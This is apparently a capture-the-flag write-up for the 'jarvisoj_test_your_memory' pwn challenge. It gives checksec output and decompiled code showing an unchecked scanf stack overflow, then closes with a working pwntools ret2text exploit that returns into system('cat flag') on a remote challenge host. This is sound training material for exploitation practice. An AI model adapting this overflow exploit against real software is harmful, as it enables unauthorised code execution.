HugeH4rD

jarvisoj_test_your_memory

Ubuntu16

---

0x01

---

checksec

[*] '/home/zelas/Desktop/pwn/jarvisoj_test_your_memory/memory'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled			//栈不可执行
    PIE:      No PIE (0x8048000)

IDA

mem_test()

int __cdecl mem_test(char *s2)
{
  int result; // eax
  char s[19]; // [esp+15h] [ebp-13h] BYREF

  memset(s, 0, 0xBu);
  puts("\nwhat???? : ");
  printf("0x%x \n", hint);
  puts("cff flag go go go ...\n");
  printf("> ");
  __isoc99_scanf("%s", s);
  if ( !strncmp(s, s2, 4u) )
    result = puts("good job!!\n");
  else
    result = puts("cff flag is failed!!\n");
  return result;
}

发现系统调用

int __cdecl win_func(char *command)
{
  return system(command);
}

发现可疑字符串

.rodata:080487E0 00000009 C cat flag

0x02

---

思路 ret2text

1.read()栈溢出执行shell()

0x03

---

exp

from pwn import *

context(log_level='debug', os='linux', arch='i386')
io = remote('node4.buuoj.cn', 28548)
# io = process(['./memory'])

cat_flag = 0x80487E0
system = 0x8048440
main = 0x8048677
padding = 0x13 + 0x4
padyload = flat(b'a' * padding, system, main, cat_flag)
io.sendline(padyload)
io.interactive()